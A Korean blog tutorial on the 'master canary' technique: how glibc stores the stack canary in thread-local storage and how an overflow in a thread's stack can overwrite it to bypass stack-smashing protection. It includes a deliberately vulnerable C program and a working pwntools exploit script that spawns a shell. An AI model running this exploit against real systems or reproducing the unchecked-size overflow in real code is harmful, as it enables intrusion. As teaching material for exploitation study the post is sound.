상세 컨텐츠

본문 제목

Master canary

SYSTEM HACKING/Exploit Tech

by koharin 2020. 6. 8. 00:26

본문

728x90
반응형

SSP(Stack Smashing Protector) 보호기법은 스택 버퍼오버플로우를 방지하기 위해 개발된 기법이다.

SSP는 스택 buffer와 SFP(Stack Frame Pointer) 사이에 랜덤 값인 canary를 넣어서 함수 종료 시점에서 __stack_chk_fail( 함수 호출을 통해 canary 변조 여부를 체크함으로써 스택이 망가졌는지 확인한다.

 

SSP가 적용되어 있으면 함수에서 스택을 사용할 때 canary가 생성된다.

Master canary는 main() 함수가 호출되기 전에 랜덤으로 생성된 canary를 thread마다 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장하는데, 모든 thread가 하나의 canary 값을 사용하기 위해서이다.

TLS는 tcbhead_t 구조체를 가진다.

 

security_init() 함수: _dl_setup_stack_chk_guard() 함수에서 반환한 랜덤 canary 값 설정한다.

THREAD_SET_STACK_GUARD(value): TLS 영역의 header.stack_guard에 canary 값 삽입한다.

 

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

 

TLS 영역은 _dl_allocate_tls_storage() 함수에서 __libc_memaign() 함수를 호출해서 할당된다.

 

result = __libc_memalign (GL(dl_tls_static_align), size);

master canary 예제

 

//gcc -o master master.c
#include<stdio.h>
#include<unistd.h>

int main()
{
    char buf[256];

    read(0, buf, 256);

} 

 

 

SSP 보호기법이 적용되어 있고(Canary found), 지역변수(buf)를 사용하므로 main() 함수에서 canary를 삽입하고 검사하는 과정이 있을 것이다.

 

 

rbp-0x8 주소에 rax 레지스터 값을 넣는다. rbp-0x8은 canary 위치이므로, 여기에 canary를 넣는 과정이고, rax 레지스터에는 canary가 들어있을 것이다.

 

 

bp에서 rax 값을 보면 0x5e5ae08a29314500가 canary 값인 것을 알 수 있다.

 

canary가 존재하는 영역을 보면 fs:0x28이 참조하는 주소가 TLS 영역의 header.stack_guard이다.

따라서 master canary를 공격자가 조작하면 랜덤한 canary 값을 몰라도 fs:0x28을 참조해서 비교하는 SSP 보호기법을 우회할 수 있다.


Master canary 예제 2

//gcc -o master2 master2.c -pthread
#include<pthread.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void giveshell()
{
    execve("/bin/sh", NULL, NULL);
}
int thread_routine(){
    char buf[256];
    int size=0;

    printf("Size: ");
    scanf("%d", &size);

    printf("Data: ");
    read(0, buf, size);

    return 0;
}
int main(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    pthread_t thread_t;

    if(pthread_create(&thread_t, NULL, thread_routine, NULL) < 0){
        perror("thread create error:");
        exit(0);
    }

    pthread_join(thread_t, 0);

    return 0;
}     

 

thread_routine() 함수에서 size에 대한 검증없이 입력받으므로 BOF 취약점이 발생한다.

스레드 함수인 thread_routine() 함수의 스택은 TLS 영역과 인접한 영역에 할당된다.

따아서 BOF 취약점을 이용해서 TLS 영역의 master canary 값을 덮을 수 있다.

master canary를 원하는 값으로 덮으면 랜덤한 canary 값을 알지 못해도 SSP 보호기법을 우회할 수 있다.

 

 

pthread_create() 함수로 스레드를 생성하면 tcbhead_t 구조체의 stack_guard(master canary)를 복사해서 사용하므로 이를 덮으면 master canary를 원하는 값으로 조작할 수 있다.

 

 

thread_routine+120에서 bp 설정한다.

 

 

rsi 레지스터의 스레드 스택에 대한 주소값이 들어있으므로 rsi 레지스터에서 스레드 스택을 확인해보자.

 

스레드 스택이 tcbhead_t 구조체와 인접한 것을 확인할 수 있다.

rsi 레지스터에서 0x8e8바이트 떨어진 위치에 master canary가 있다.

 

BOF를 통해 canary를 "master12"로, return address를 giveshell() 함수 주소로 덮는다.

return address로부터 0x7c8바이트 뒤에 존재하는 master canary 값을 "master12"로 조작한다.

 

스택 시작주소에서 0x108 뒤로 가면 canary 값이 들어있으므로 이 위치에 "master12"를 넣고, return address는 giveshell()로 덮는다. 그럼 SSP를 우회하면서 giveshell 함수로 리턴하면서 쉘을 띄울 수 있다.

 

 

#!/usr/bin/python 
from pwn import *                                                                       

p = process("./master2")
elf = ELF("./master2")
giveshell = elf.symbols['giveshell']

pay = 'A'*0x108
pay += "master12" #canary
pay += 'B'*8 #SFP
pay += p64(giveshell) #return address
pay += 'C'*0x7c8
pay += "master12" #master canary

p.sendlineafter("Size: ", str(len(pay)))
p.sendlineafter("Data: ", pay)

p.interactive()


 

728x90
반응형

'SYSTEM HACKING > Exploit Tech' 카테고리의 다른 글

Tcache Dup  (0) 2020.06.10
Tcache  (0) 2020.06.10
Stack Frame & 함수 호출 규약 (32bit, 64bit)  (0) 2020.05.30
[Back to Basic] Linux exploitation & Mitigation #1  (0) 2020.04.06
[Exploit Tech] Return to dl resolve  (0) 2020.02.21

관련글 더보기